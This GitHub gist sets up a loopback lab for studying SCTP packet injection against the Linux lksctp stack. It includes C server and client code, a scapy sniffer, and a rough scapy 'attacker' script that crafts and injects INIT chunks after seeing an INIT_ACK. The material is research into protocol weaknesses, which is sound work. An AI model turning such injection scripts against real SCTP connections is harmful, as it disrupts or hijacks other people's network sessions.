Skip to content

Instantly share code, notes, and snippets.

@JakeGinesin
Last active October 13, 2024 21:50
Show Gist options
  • Save JakeGinesin/a20a08048e18fb59243cbb18aca2b81d to your computer and use it in GitHub Desktop.
Save JakeGinesin/a20a08048e18fb59243cbb18aca2b81d to your computer and use it in GitHub Desktop.

Simple infrastructure for creating an analysis environment for lksctp.

Installation and Setup

First, you'll need the lksctp package for your OS, which you can find at https://github.com/sctp/lksctp-tools. For arch linux, I used https://archlinux.org/packages/community/x86_64/lksctp-tools/

We use the loopback network interface lo, though we could hypothetically dockerize this setup if need be.

On our localhost, we need to set a delay so the attacker can actually inject the packet in the right place. To do so, use:

$ sudo tc qdisc add dev lo root netem delay 300ms

And to undo this, you can do:

$ sudo tc qdisc del dev lo root netem

Also, set up scapy, a packet manipulation library with support for SCTP.

)

LKSCTP Client and Server in C

I implemented a small SCTP client and server in C to interface with lksctp:

Server Implementation:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#define MAX_BUFFER 1024
#define MY_PORT_NUM 62324 

int
main ()
{
  int listenSock, connSock, ret, in, flags, i;
  struct sockaddr_in servaddr;
  struct sctp_initmsg initmsg;
  struct sctp_event_subscribe events;
  struct sctp_sndrcvinfo sndrcvinfo;
  char buffer[MAX_BUFFER + 1];

  listenSock = socket (AF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(listenSock == -1)
  {
      printf("Failed to create socket\n");
      perror("socket()");
      exit(1);
  }

  bzero ((void *) &servaddr, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
  servaddr.sin_port = htons (MY_PORT_NUM);

  ret = bind (listenSock, (struct sockaddr *) &servaddr, sizeof (servaddr));

  if(ret == -1 )
  {
      printf("Bind failed \n");
      perror("bind()");
      close(listenSock);
      exit(1);
  }

  /* Specify that a maximum of 5 streams will be available per socket */
  memset (&initmsg, 0, sizeof (initmsg));
  initmsg.sinit_num_ostreams = 5;
  initmsg.sinit_max_instreams = 5;
  initmsg.sinit_max_attempts = 4;
  ret = setsockopt (listenSock, IPPROTO_SCTP, SCTP_INITMSG,
      &initmsg, sizeof (initmsg));

  if(ret == -1 )
  {
      printf("setsockopt() failed \n");
      perror("setsockopt()");
      close(listenSock);
      exit(1);
  }

  ret = listen (listenSock, 5);
  if(ret == -1 )
  {
      printf("listen() failed \n");
      perror("listen()");
      close(listenSock);
      exit(1);
  }

  while (1)
    {

      char buffer[MAX_BUFFER + 1];
      int len;

      //Clear the buffer
      bzero (buffer, MAX_BUFFER + 1);

      printf ("Awaiting a new connection\n");

      connSock = accept (listenSock, (struct sockaddr *) NULL, (int *) NULL);
      if (connSock == -1)
      {
 printf("accept() failed\n");
        perror("accept()");
        close(connSock);
        continue;
      }
      else
 printf ("New client connected....\n");

      in = sctp_recvmsg (connSock, buffer, sizeof (buffer),
    (struct sockaddr *) NULL, 0, &sndrcvinfo, &flags);

      if( in == -1)
      {
          printf("Error in sctp_recvmsg\n");
          perror("sctp_recvmsg()");
          close(connSock);
          continue;
      }
      else
      {
          //Add '\0' in case of text data
          buffer[in] = '\0';

          printf (" Length of Data received: %d\n", in);
          printf (" Data : %s\n", (char *) buffer);
      }
      close (connSock);
    }

  return 0;
}

Client implemnetation:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#define MAX_BUFFER 1024
#define MY_PORT_NUM 62324 

int
main (int argc, char* argv[])
{
  int connSock, in, i, ret, flags;
  struct sockaddr_in servaddr;
  struct sctp_status status;
  char buffer[MAX_BUFFER + 1];
  int datalen = 0;

  /*Get the input from user*/
  printf("Enter data to send: ");
  fgets(buffer, MAX_BUFFER, stdin);
  /* Clear the newline or carriage return from the end*/
  buffer[strcspn(buffer, "\r\n")] = 0;
  /* Sample input */
  //strncpy (buffer, "Hello Server", 12);
  //buffer[12] = '\0';
  datalen = strlen(buffer);

  connSock = socket (AF_INET, SOCK_STREAM, IPPROTO_SCTP);

  if (connSock == -1)
  {
      printf("Socket creation failed\n");
      perror("socket()");
      exit(1);
  }

  bzero ((void *) &servaddr, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (MY_PORT_NUM);
  servaddr.sin_addr.s_addr = inet_addr ("127.0.0.1");

  ret = connect (connSock, (struct sockaddr *) &servaddr, sizeof (servaddr));

  if (ret == -1)
  {
      printf("Connection failed\n");
      perror("connect()");
      close(connSock);
      exit(1);
  }

  ret = sctp_sendmsg (connSock, (void *) buffer, (size_t) datalen,
        NULL, 0, 0, 0, 0, 0, 0);
  if(ret == -1 )
  {
    printf("Error in sctp_sendmsg\n");
    perror("sctp_sendmsg()");
  }
  else
      printf("Successfully sent %d bytes data to server\n", ret);

  close (connSock);

  return 0;
}

Listener and Attacker

Using Scapy, we can set up a simple listener to monitor what's up with lo:

#!/usr/bin/env python3
from scapy.all import *

def packet_callback(packet):
    print(packet.summary())
    
sniff(iface='lo', prn=packet_callback,store=0, filter="sctp")

And, here's my very hacky implementation of a scapy attacker. Obviously this isn't great but it should be enough to get you off the ground and experimenting:

#!/usr/bin/env python3
import binascii
from scapy.all import *
from scapy.layers.inet import IP

attackerHex = ""

def packet_callback(packet):
    if packet.haslayer(SCTPChunkInit):
        # extract hex data from SCTPChunkInit
        sctp_layer = packet[SCTP]
        if sctp_layer.payload:            
            # get source port
            global src_port
            src_port = sctp_layer.sport
            payload = bytes(sctp_layer.payload)
            hex_str = binascii.hexlify(payload).decode('utf-8')
            # copy hex_str to attackerHex 
            global attackerHex
            attackerHex = hex_str
            #print(hex_str)

    if packet.haslayer(SCTPChunkInitAck):
        print('Received a SCTP INIT_ACK ', packet[IP].src)

        """
(_pkt, /, *, type=1, flags=None, len=None, init_tag=None, a_rwnd=None, n_out_streams=None, n_in_streams=None, init_tsn=None, params=[])
        """

        """
        0000000000000000000000000800450200640000400040843c127f0000017f000001a82ff3740000000000000000010000443cd4b3e80001a000000affffe96a1583000500087f00000100050008ac11000100050008ac120001000500080a6e2744000c00060005000080000004c0000004
        payload = bytes.fromhex(payload3)
        """

        # Extract the source and destination ports from the SCTP layer
        src_port = packet[SCTP].sport
        dst_port = packet[SCTP].dport

        # Build the INIT chunk packet
        init_chunk = SCTPChunkInit(
            init_tag=0x12345678, a_rwnd=65535,
            n_out_streams=10, n_in_streams=10,
            init_tsn=1, params=[]
        )


        sctp_packet = SCTP(
            sport=src_port,        # Source port
            dport=dst_port,        # Destination port
            tag=0x00,              # VTag
            chunks=[init_chunk]    # Chunk list
        )

        eth_packet = Ether(
            src="00:00:00:00:00:00",    # Source MAC address
            dst="00:00:00:00:00:00",    # Destination MAC address
        )

        sendp(eth_packet/ip_packet/sctp_packet, verbose=0, iface="lo")
        print("sent packet!");
        sys.exit(0)

        # some other experimental setups with specific payloads were tested:

        """
        #payload3 = "0000000000000000000000000800450200640000400040843c127f0000017f000001a82ff3740000000000000000010000443cd4b3e80001a000000affffe96a1583000500087f00000100050008ac11000100050008ac120001000500080a6e2744000c00060005000080000004c0000004"
        payload = bytes.fromhex(payload4)

        ip_packet = IP(
            src="127.0.0.1",    # Source IP address
            dst="127.0.0.1",    # Destination IP address
            proto=132,              # Protocol number for SCTP
        )
        """
        
        """
        #payload4 = "f374" + hex(src_port)[2:] + "0000000000000000010000443cd4b3e80001a000000affffe96a1583000500087f00000100050008ac11000100050008ac120001000500080a6e2744000c00060005000080000004c0000004"
        payload4 =hex(src_port)[2:] + "f374000000000000000001000044000000000001a000000affffe96a1583000500087f00000100050008ac12000100050008ac110001000500080a6e2744000c00060005000080000004c0000004"
        payload = bytes.fromhex(payload4)
        #payload = bytes.fromhex(attackerHex)

        ip_packet = IP(
            src="127.0.0.1",    # Source IP address
            dst="127.0.0.1",    # Destination IP address
            proto=132,          # Protocol number for SCTP
            flags=0x02,         # Don't fragment flag
        )

        eth_packet = Ether(
            src="00:00:00:00:00:00",    # Source MAC address
            dst="00:00:00:00:00:00",    # Destination MAC address
        )

        sendp(eth_packet/ip_packet/payload, verbose=0, iface="lo")
        print("sent packet!");
        # exit program
        sys.exit(0)
        """

# start the capture on the loopback interface
sniff(iface='lo', prn=packet_callback,store=0, filter="sctp")

Setup

Compile SCTPClient.c and SCTPServer.c using gcc. Run ./server first, and then ./client

once ./client is running, type a message. the SCTP connection will instantiate, the message you typed to the server will be sent, and the connection will close.

having sudo ./attacker.py running while you try running ./client will (attempt) to have the attacker inject a message.

additionally, consider running sudo ./listener.py, and $ sudo tcpdump -i lo -w [filename].pcap while attempting to inject a message. Also, consider monitoring /proc/net/sctp/snmp to check for internal sctp logging.

Other Links

  • Check out the usrsctp library, particularly the fuzzer folder (which contains a significant number of small usrsctp binary examples)
  • Also check out lksctp-tools
  • Once you have lksctp downloaded, check out man sctp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment